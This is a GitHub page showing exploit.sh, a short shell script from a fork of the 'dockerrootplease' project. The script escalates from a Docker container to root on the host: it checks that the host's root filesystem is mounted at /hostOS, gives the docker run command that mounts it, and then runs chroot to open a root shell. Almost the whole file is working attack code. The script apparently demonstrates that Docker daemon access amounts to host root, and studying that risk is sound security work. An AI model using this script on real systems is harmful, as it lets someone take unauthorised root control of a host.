forked from chrisfosterelli/dockerrootplease
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathexploit.sh
More file actions
29 lines (25 loc) · 675 Bytes
/
exploit.sh
File metadata and controls
29 lines (25 loc) · 675 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#
#
#
if [ ! -d "/hostOS" ]; then
echo
echo ==== ERROR ====
echo It looks like /hostOS does not exist
echo Please run this docker image with a /hostOS volume mounted to /
echo For example: docker run -v /:/hostOS -i -t exploitapp
echo
exit
fi
if [ ! -e "/hostOS/bin/sh" ]; then
echo
echo ==== ERROR ====
echo It looks like /hostOS does not contain a root filesystem
echo Please run this docker image with a /hostOS volume mounted to /
echo For example: docker run -v /:/hostOS -i -t exploitapp
echo
exit
fi
echo
echo You should now have a root shell on the host OS
echo Press Ctrl-D to exit the docker instance / shell
chroot /hostOS /bin/sh